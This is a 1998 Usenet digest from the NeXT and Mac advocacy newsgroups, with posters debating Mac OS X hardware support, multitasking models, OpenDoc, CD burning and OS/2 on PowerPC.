[ ... ]
> For Win95, performance is the paramount issue, as long as you have a 32-bit
> CPU;
That's because Windows 95 is so badly designed that it can't take effective
usage of memory or I/O resources, and CPU performance thus becomes the major
discriminating factor between PC-compatible hardware systems.
People running better operating systems discover that the difference between
PCI and (E)ISA, or between (E)IDE and SCSI matter a lot more because better
operating systems use resources more effectively.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Fri, 31 Jul 1998 00:57:30 -0400
Organization: jontemple@earthlink.net
Message-ID: <35C14EB8.6976DA87@earthlink.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <slrn6r80fd.3ku.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35BF17D2.C02B6554@earthlink.net> <joe.ragosta-2907980926260001@wil64.dol.net>
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Joe Ragosta wrote:
> In article <35BF17D2.C02B6554@earthlink.net>, jontemple@earthlink.net wrote:
>
> > Matt Kennel wrote:
> >
> > > On Mon, 20 Jul 1998 18:42:58 -0700, Matthew Vaughan wrote:
> > > :I totally agree. If a Mac has a PowerPC processor, PCI slots, ADB,
> > > :SCSI...what does a G3 Mac have that older Macs lack? If all new G3 Macs
> > > :had USB but no ADB or serial, FireWire but no SCSI, 66MHz PCI and AGP, or
> > > :whatever, then I'd see the point, but as it is there's really no
> > > :distinction between a "G3 PowerMac" and any other PCI PowerMac or
> > > :compatible.
> > >
> > > Yes there is. It's all the low-level board level interface hardware which
> > > is different. And the G3 processor is different from previous processors,
> > > if you're a kernel engineer.
> > >
> > > The other issue is why is OSX going to be G3 only whereas the Rhapsody 1.0
> > > (aka OSX Server) will support more machines?
> > >
> > > Because OSX is going to a new kernel: Mach "3.0". (There are many
> Mach 3.0's,
> > > b.t.w.). The OS coming out this fall is going to be a continuation of
> > > the 2.5 line.
> >
> > Mach 3 already runs on PCI Macs. You are just trying to complicate the
> issue by
> > suggesting that mysteriously that Apple's Mach kernal will be vastly different
> > from the other PPC Mach kernals. It won't be --- it'll be basically the same
> > thing, industrial grade no doubt, but the technology involved is the same.
>
> Big deal. Mach runs on PCI Macs. Getting the kernel to run is probably the
> easiest part of the job. When you can show Yellow Box and IOkit and Blue
> Box and Carbon and PDF running on pre-G3 PCI Macs, you might have an
> argument.
Actually, Joe, I have one HELL of an argument. The kernel IS the hardest thing. And
the work has already been done. Those others things you mention really only need to
be written once --- it's all one big processor family with PPC remember? The Mach 3
microkernel handles an awful lot of the machine-specific interface, providing
hardware abstraction. Once you have the microkernal, the rest is much easier.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Fri, 31 Jul 1998 05:01:46 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6prj3q$8en$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <MPG.102417abebbe2be9989a03@news.supernews.com> <Josh.McKee-2607980957160001@pm3a6.rmac.net> <6phe0p$kdi$1@nnrp1.dejanews.com> <Josh.McKee-2707982204590001@pm3a20.rmac.net> <6pjrh9$sos$1@nnrp1.dejanews.com> <Josh.McKee-2807981800070001@pm3a10.rmac.net> <6pmc1t$b4i$1@nnrp1.dejanews.com> <Josh.McKee-2907981834090001@pm3a7.rmac.net> <6poqeb$kbe$1@nnrp1.dejanews.com> <Josh.McKee-3007981757390001@pm3a18.rmac.net>
In article <Josh.McKee-3007981757390001@pm3a18.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> Where did I even give a definition which could be "incorrect"?
You said that "Easy...the very word "Pre-emptive" means that an application
should not be able to block the OS."
> However, I think you know where I'm comming from...if I take that same
> application that blocks Windows 95's PMT and run it under NT, it will not
> block NT. There is a difference.
You stated that "Part of the definition of PMT is the inability of an
application to block the OS." So I am saying that you should either:
1) Concede that there may be no PMT operating systems
2) Concede that an operating sytem can be considered to use PMT even when it
can be blocked by an application
> Windows 95 appears to run near the worst case quite a bit for me. And the
> Mac appears to run near it's best case for me. Therefore, in my
> experience/opinion, they are roughly equal *in practice*.
You are probably running an atypical set of applications. You must run a lot
of 16-bit applications and a lot of good Mac OS applications.
> And I can give you examples where it doesn't. We can pick and choose are
> points for this debate. But in real life, they are roughly equal.
Ok, I give you examples where Windows 95 multitasking is significantly better
than Mac OS multitasking. You give me examples where it is not. So, we can
conclude that Windows 95 multitasking is not always better than Mac OS
multitasking. However, unless you can find examples of where Mac OS
multitasking is actually better than Windows 95 multitasking, we can conclude
that Windows 95 multitasking is signifcantly better than Mac OS multitasking.
> Under certain "practice's", yes.
Good. We are making progress.
> Never tried it. But I would conceed that Mac OS does not make a good
> server OS, and this is essentially what you're doing.
I hope you can see that file sharing is useful in a LAN environment.
> I decompress files all the time with my Mac and never notice a significant
> slow down with it. Never tried it the other way around...it may be slower
> under that situation.
If it does not cause a slow down then it is either performing inefficiently or
using asynchronous I/O. The latter is unpleasant to code so very few programs
use it.
> I don't know if I would agree with the use of the word "inferior" wrt
> Windows 95. Against NT, yes, 95...no. Perhaps "better", but never
> "inferior".
So you don't think that:
If Y is better than X then X is inferior to Y
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 01:09:11 -0400
Organization: jontemple@earthlink.net
Message-ID: <35C15173.C42607BA@earthlink.net>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <35b537c1.0@news.depaul.edu> <35BE06FD.CE0719A6@earthlink.net> <joe.ragosta-2907980905120001@wil64.dol.net>
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Joe Ragosta wrote:
> In article <35BE06FD.CE0719A6@earthlink.net>, jontemple@earthlink.net wrote:
>
> > Jonathan W Hendry wrote:
> >
> > > In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
> > >
> > > > Are you suggesting that it is harder to test MacOS X for Pre-G3 Macs than
> > > > it is to test MacOS 8.x for the 68040, NuBux, Pre-G3 and G3 Macs?
> > >
> > > MacOS X is a new OS. OS 8.x was an incremental change. Huge difference.
> > > Especially if the model-specific patches in MacOS won't work on
> > > OSX.
> >
> > Mac OS X is NOT a new OS: It is an incremental change over Rhapsody 1.0, now
> > called MacOS X Server.
>
> This must be at least the 6th or 7th time you've said this. Do you have
> some delusion that if you say it enough times it will magically become
> true?
And I was right every time I said it. But you've certainly described your own
strategy well enough. Thanks for the tip.
Just because you're smoking the Apple-flavored crack and dreaming that MacOS X is
a totally new thing when it is just the inevitable upgrade to Rhapsody, doesn't
mean the rest of us have to. Do you ever think for yourself, Joe? Or do you suck
down all Apple PR like a fifth of bourbon? Try going clean sometime, Joe --- it's
really great a feeling.
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Is Apple designing for acceptance?
Date: 31 Jul 1998 15:56:59 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6pspgb$ecf$1@news.spacelab.net>
References: <6pq5hg$8np$2@news.spacelab.net> <B1E631D4-7ECE7@206.165.43.16>
"Lawson English" <english@primenet.com> wrote:
>Charles W. Swiger <chuck@codefab.com> said:
[ ... ]
>> And I agree that this is one of the fundamental weaknesses of OpenDoc.
>> HTML web pages are closer to the NEXTSTEP "file wrapper" notion, where you
>> have a hierarchical directory structure of nested content, where the individual
>> items are nothing more than standard files in standard formats.
>>
>> Needing specialized tools to edit standard content is bad.
>
> Bento was originally meant to be available for LOTS of purposes.
The key word there is "originally".
I stand by my point-- if I put ASCII text into a fancy storage system, I wanna be able
to edit it with whatever plain old ASCII editor I wish. Ditto for Word documents, or
TIFF's, or anything else.
>For instance, if I select a graphic in a web-page and move it to another
>position in the web-page, does HTML allow one to do this AND to edit its
>content in the new position?
You're changing the changing the point from the original issue. But the answer is yes,
because the position in a web-page is loosely bound to the storage location of that
image on a filesystem.
>HTML is for creating content on the internet at screen resolution.
HTML, per se, has no dependency upon the Internet or device resolutions-- it's
completely independent of both. I can and do create HTML documents which are used as a
portable document format which never get served on the web.
>Can you create a game in an HTML format and than live-replace parts of that
>game while you are playing it?
Of course not; HTML isn't a programming language. But you could create a web page
containing a Java applet, and use EJB to migrate live objects around....
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: jeffm@boxybutgood.com (Jeff Meininger)
Newsgroups: comp.sys.next.advocacy
Subject: dual-booting linux and OPENSTEP 4.2
Date: 31 Jul 1998 16:02:18 GMT
Organization: The University of Texas at Austin, Austin, Texas
Message-ID: <6pspqa$1ss$1@geraldo.cc.utexas.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Can lilo boot openstep 4.2? If so, what do I need in my lilo.conf? Can
the openstep boot manager boot linux? If so, how do I re-install the
openstep 4.2 boot loader (lilo is the current boot loader) and what do I
need to do to get it configured properly?
OPENSTEP 4.2 is on my first ide drive, linux is on my second ide drive.
-jeff meininger
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 31 Jul 1998 16:16:25 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6psqkp$ecf$2@news.spacelab.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6pd4o8$pn2$1@bunyip.cc.uq.edu.au> <Josh.McKee-2607981000010001@pm3a6.rmac.net> <6pflf6$9t8$1@bunyip.cc.uq.edu.au> <35BFC76E.109C@geocities.com> <6ppbmg$m1p$1@bunyip.cc.uq.edu.au> <joe.ragosta-3007980854080001@wil34.dol.net> <6pput9$vsd$1@bunyip.cc.uq.edu.au> <joe.ragosta-3007981125390001@wil47.dol.net> <6prd75$cp2$1@bunyip.cc.uq.edu.au>
"Christopher Smith" <drsmithy@usa.net> wrote:
[ ... ]
>>>> Then why aren't you blaming Microsoft for the coasters I got on my Win95
>>>> machine?
>>>
>>> Because you haven't given any reason why I should.
>>
>> Let's see. If you make coasters on a Mac, it's Apple's fault. If you make
>> coasters on a Windows box it's NOT Microsoft's fault?
>
> But I wasn't blaming Apple for coasters. I was blaming Apple for having to
> have the machine rendered useless while the CD was writing *due to
> fundamental flaws in the operating system*.
Burning CD's is a hard realtime task-- if you underrun the buffer, you get a
coaster. By not allowing the system to context switch, this Mac CD-writing
program is guaranteeing that it will successfully create a usable CD.
Realtime work is one of the few areas were cooperative multitasking is
genuninely superior to normal PMT. For almost all other tasks, PMT is hugely
superior to CMT-- but not here. Of course, a PMT system with realtime
support and timeslice/bandwidth reservations is better still, but there isn't
any consumer-grade OS which offers that capability. (Except maybe QNX, and
that has roughly zero penetration in the consumer market.)
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 31 Jul 1998 11:39:36 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980731113547.29552A-100000@ux5.cso.uiuc.edu>
References: <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <35BDF6BC.B3238E95@ericsson.com> <Pine.SOL.3.96.980728142652.21913A-100000@ux8.cso.uiuc.edu> <35BE2E3B.CE9EB08A@ericsson.com> <35bebc5e.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R3007981635090001@news>
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On Thu, 30 Jul 1998, Andy Bates wrote:
> In article <35bebc5e.0@nnrp1.news.uk.psi.net>, richard@brainstorm.co.uk.
> (Richard Frith-Macdonald) wrote:
>
> > If I click and drag over menus and sub-menus and end on a menu item, that
> > item is activated and the menus go away.
> > If I click and release on a menu then move the mouse over an item and
> click-release
> > then that item is activated and (this is where the systems differ) the
> menu goes
> > away on the MacOS, stays up on NeXTstep.
>
> But on the Mac, you can click-release on any top-level menu item, and a
> menu will appear for you to traverse. On the Next system, this only happens
> if you click-release on a menu; if you click-release on a button, then the
> button is executed. Thus, the Mac allows you to click-release anywhere in
> the menu bar, traverse to where you want to go, and make your selection.
> With the NeXT, you have to make sure that your initial click-release isn't
> on a button.
With NeXT, all the menu items are buttons. If you initial click is on a
submenu invoking button, then a submenu comes up. If you click on anything
else, it preforms the menu action. That makes sense for buttons.
There is an obvious indicator as to what will bring up a submenu. That's
the little arrow pointing off to the right inside the button. I'm not sure
what your problem is.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Fri, 31 Jul 1998 11:41:12 -0500
Organization: Ericsson Inc.
Message-ID: <35C1F3A8.2B36FFA2@exu.ericsson.se>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <pxpst2-2007981409410001@pelli.pathology.pitt.edu> <joe.ragosta-2007982108170001@elk57.dol.net> <35BF1822.3E94CE81@earthlink.net> <joe.ragosta-2907982111520001@elk76.dol.net> <35C14DC2.74ADCDA0@earthlink.net> <6psofk$eb6$1@news.spacelab.net>
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Charles W. Swiger wrote:
> That's true as far as it goes. But that's *not* the original point, which
> was the comparison of a 386 to a Mac IIsi, quoted above by ">>>>".
>
> If you upgrade the processor, you don't have a 386.
If you put a Radius Rocket into a IIsi, do you still have a IIsi? Maybe,
maybe not. Either way, it won't run OS X.
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 30 Jul 98 14:35:45 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E63545-8BBE2@206.165.43.16>
References: <joe.ragosta-3007981008260001@wil72.dol.net>
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nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Joe Ragosta <joe.ragosta@dol.net> said:
>> I believe that they call this a "loss leader" -something to entice you
to
>> stay with a brand-name -in this case getting you locked into MS Office
>and
>> other MS apps. NO-ONE competes with MS on their home turf. On the Mac,
>> people USED TO BE ABLE TO COMPETE, but not since Jobs came back.
>>
>
>Huh? Apple is in far better position today than it was 2 years ago. On
>what do you base this statement?
People used to be able to compete with Microsoft. Apple was deliberately
offering technologies to entice the small developer to develop for MacOS.
E.G., OpenDoc, GX, Cyberdog, etc.
Now, OD is gone. GX is dead. Cyberdog is dead.
ActiveX/OLE is now available but only if you use MS products or MS
development tools.
enhanced QuickDraw is available, but this only entices those who already
have an established product. YB graphics is available, but only in MacOS X
Server (expensive, like as not) or MacOS X (only available for G3 systems).
Microsoft Internet Explorer is the default browser. Apple's Internet API is
incomplete compared to Cyberdog (which wasn't all that perfect, either).
There's nothing left to entice small developers to develop for the MacOS
(mainstream) since no Mac-only technologies are available (for the
mainstream) that allow Mac-only developers to compete with the resources of
Microsoft or Adobe. The Carbon API is merely (and it has been described
this way sans "merely") a way of keeping the top 100 Mac developers working
on apps that will run native on MacOS X.
Almost all of these developers have advanced graphics/internet libraries of
their own and don't need to use Apple's and in fact, NO-ONE can use Apple's
if they hope to have a MacOS X-native app that works with pre-G3 machines
because Apple's own older technologies won't work in Carbon and Apple's new
YB technologies won't work on older systems unless users want to pay a
premium for a "server" OS.
As I said, no-one can compete with MS (and Adobe) any more if they're
writing to MacOS: the technologies aren't there for a wide enough audience
to support the creation of one's own technologies and Apple's competing
technologies are no longer available to third parties if they want to have
8.x-enabled apps.
This MAY change if more YB technologies are brought into Carbon, but that
still doesn't resolve the issues for older Macs, which comprise 1/2 of all
Macs still in use.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Sat, 1 Aug 1998 02:51:26 +1000
Organization: University of Queensland
Message-ID: <6pssmm$uqs$1@bunyip.cc.uq.edu.au>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6pd4o8$pn2$1@bunyip.cc.uq.edu.au> <Josh.McKee-2607981000010001@pm3a6.rmac.net> <6pflf6$9t8$1@bunyip.cc.uq.edu.au> <35BFC76E.109C@geocities.com> <6ppbmg$m1p$1@bunyip.cc.uq.edu.au> <joe.ragosta-3007980854080001@wil34.dol.net> <6pput9$vsd$1@bunyip.cc.uq.edu.au> <joe.ragosta-3007981125390001@wil47.dol.net> <6prd75$cp2$1@bunyip.cc.uq.edu.au> <6psqkp$ecf$2@news.spacelab.net>
Charles W. Swiger <chuck@codefab.com> wrote in message
6psqkp$ecf$2@news.spacelab.net...
>"Christopher Smith" <drsmithy@usa.net> wrote:
>[ ... ]
>>>>> Then why aren't you blaming Microsoft for the coasters I got on my
Win95
>>>>> machine?
>>>>
>>>> Because you haven't given any reason why I should.
>>>
>>> Let's see. If you make coasters on a Mac, it's Apple's fault. If you
make
>>> coasters on a Windows box it's NOT Microsoft's fault?
>>
>> But I wasn't blaming Apple for coasters. I was blaming Apple for having
to
>> have the machine rendered useless while the CD was writing *due to
>> fundamental flaws in the operating system*.
>
>Burning CD's is a hard realtime task-- if you underrun the buffer, you get
a
>coaster. By not allowing the system to context switch, this Mac CD-writing
>program is guaranteeing that it will successfully create a usable CD.
By rendering the rest of the system useless. My NT system guarantees the
CDR program the CPU time it needs as well - by setting the priority high
enough to pre-empt other programs. The result is I might get the occasional
pause whilst the CPU time is *required* by the CDR program, but by and large
my work/play is uninterrupted - this is how it *should* be.
>
>Realtime work is one of the few areas were cooperative multitasking is
>genuninely superior to normal PMT. For almost all other tasks, PMT is
hugely
>superior to CMT-- but not here. Of course, a PMT system with realtime
>support and timeslice/bandwidth reservations is better still, but there
isn't
>any consumer-grade OS which offers that capability. (Except maybe QNX, and
>that has roughly zero penetration in the consumer market.)
I wouldn't call writing CDs a partcularly "hard" realtime task - even
writing at 6X (pretty much the limits of affordability hardware-wise, at
least where I live) is a data xfer rate of 900k/s, which even my 2 year old
mode 4 IDE drives are capable of sustaining. Sure I probalby wouldn't play
Quake or do anything that was likely to be hitting the disk hard while I was
writing at that speed - but simple things like email, word provessing and
the like *should not* be affected by a program that requires little actual
CPU time.
>
>-Chuck
>
> Charles Swiger | chuck@codefab.com | standard disclaimer
> ---------------+-------------------+--------------------
> "Microsoft: we make the easy almost impossible."
From: craigm@gdi.net (Craig Morehouse)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 30 Jul 1998 16:43:33 GMT
Organization: Global Datalink, Inc.
Message-ID: <6pq7rl$ug@news.gdi.net>
References: <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu>
<6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net>
<6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net>
<35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net>
<35B8DF8B.FD82305D@ericsson.com> <joe.ragosta-2407981630080001@wil51.dol.net>
<35B8F538.88F9A190@ericsson.com> <6pe64i$g57@news1.panix.com>
<35c2d68f.109269484@198.0.0.100> <gmgraves-2707981028150001@sf-usr1-17-145.dialup.slip.net>
<joe.ragosta-2807980740370001@wil43.dol.net>
Mime-Version: 1.0
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Cc: joe.ragosta@dol.net
In <joe.ragosta-2807980740370001@wil43.dol.net> Joe Ragosta wrote:
>
[snip]
>
> NT flopped on PPC, but it wasn't Apple's fault. There are people who have
> been posting in this thread that Apple is responsible for the demise of
> NT, OS/2, Netware, and Solaris on PPC. Your statement explains exactly why
> it was not Apple's fault.
>
>
The failure of OS/2 PPC was definitely not Apple's fault, either. I worked
with that group in Boca for a short time in '95, and it was a highly focused,
energetic bunch of people. Very un-IBM like. The group even had their own
in-house rock band. Beards and ponytails were everywhere.
The death blow actually came in June of that year, on a Monday when IBM
Corporate announced that they were spending most of their $10 billion war
chest on buying Lotus. The valiant warriors at the OS/2 PPC group struggled
and hung on for another year or so, even taking the CEO to dinner to
convince him to let OS/2 live, but the cause was long lost.
OS/2 PPC could have been a powerful reality, but the Suits voted otherwise.
Sic transit gloria OS/2
It coulda' been a contender.
CAM
Date: Fri, 31 Jul 1998 10:40:04 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-3107981040050001@wil31.dol.net>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <joe.ragosta-2207980849560001@wil103.dol.net> <35BE0653.4865BF1E@earthlink.net> <joe.ragosta-2907980906550001@wil64.dol.net> <Pine.SOL.3.96.980730104650.4469A-100000@ux8.cso.uiuc.edu> <joe.ragosta-3007981241560001@wil44.dol.net> <6pqk6v$qs5$1@nnrp1.dejanews.com> <joe.ragosta-3007981652140001@wil78.dol.net> <6pr26d$jco$1@nnrp1.dejanews.com>
In article <6pr26d$jco$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <joe.ragosta-3007981652140001@wil78.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > Should be. In a perfect world. In a real world, it needs to be tested.
>
> Good point. However, if a bug is found then it was a bug in the G3 version of
> the high level software as well because they shouldn't make any assumptions
> that break on particular hardware.
Not if the bug is in the drivers for the pre-G3 Macs.
>
> > If your application is complicated enough, you're going to want to test it
> > on various computers, anyway. Certainly something as complicated as an OS
> > needs to be tested on whatever platforms it's going to be certifed for.
>
> Yes but all the bugs that you find will be real bugs because high level
> applications and operating system code shouldn't make hardware assumptions.
Not necessarily true. What about the drivers? And the kernel?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 31 Jul 1998 10:35:48 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-3107981035480001@wil31.dol.net>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net> <Josh.McKee-2807981805580001@pm3a10.rmac.net> <joe.ragosta-2907980846230001@wil64.dol.net> <Pine.SOL.3.96.980730143132.22326A-100000@ux5.cso.uiuc.edu>
In article <Pine.SOL.3.96.980730143132.22326A-100000@ux5.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On Wed, 29 Jul 1998, Joe Ragosta wrote:
>
> > In article <Josh.McKee-2807981805580001@pm3a10.rmac.net>,
> > Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> >
> > > In article <joe.ragosta-2607982033560001@elk91.dol.net>,
> > > joe.ragosta@dol.net (Joe Ragosta) wrote:
> > >
> <snip>
> > > We're not talking about running Mac OS X on a IIsi Joe, we're talking
> > > about running it on very recent hardware which was only recently
> > > discontinued. Combine that with no real reason why this OS couldn't run
> > > on these systems, and it makes it that much worse.
> >
> > There _is_ a reason. It's been explained over and over. The cost of
> > putting Mac OS X onto older hardware and supporting it is too high for
> > Apple in its current condition to support.
>
> The monetary costs should not be a reason for several reasons that I've
> stated before. I don't see that as a valid excuse.
>
> Possibly the time cost would be significant, but even that I tend to
> doubt for reasons that I've stated several times before.
And neither of us is in a position to be able to define what the costs
are, either in time or money--only Apple can do that and they're not
talking.
And we both agree that it would be a good thing if Mac OS X ran on pre-G3
PCI Macs. I've sent a letter to Apple stating my support for pre-G3 Macs.
It's just that I believe the cost in time and money is real and
significant and don't want that forgotten. If Apple does support Mac OS X
on pre-G3 Macs, something else is going to have to slip.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 31 Jul 1998 10:26:41 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-3107981026410001@wil31.dol.net>
References: <MPG.101d9ceeeab350e89899d4@news.supernews.com> <B1D93BDE-E7B9B@206.165.43.162> <joe.ragosta-2107980840590001@0.0.0.0> <gmgraves-2107981125360001@sf-pm5-14-78.dialup.slip.net>
In article <gmgraves-2107981125360001@sf-pm5-14-78.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <joe.ragosta-2107980840590001@0.0.0.0>, joe.ragosta@dol.net
> (Joe Ragosta) wrote:
>
> > In article <B1D93BDE-E7B9B@206.165.43.162>, "Lawson English"
> > <english@primenet.com> wrote:
> >
> > > Donald Brown <don.brown@cesoft.com> said:
> > >
> > > >OS-X is a gamble. It's a hell of a project to pull off. The
survival of
> > > >the company depends on it.
> > >
> > >
> > >
> > > Bull. OS-X is Rhapsody with a new kernel running on a single family of
> > > processors and motherboards with a few new low-level APIs running on
top of
> > > that kernel (most/most of which are the low-level APIs that the Yellow Box
> > > framework itself will be using).
> >
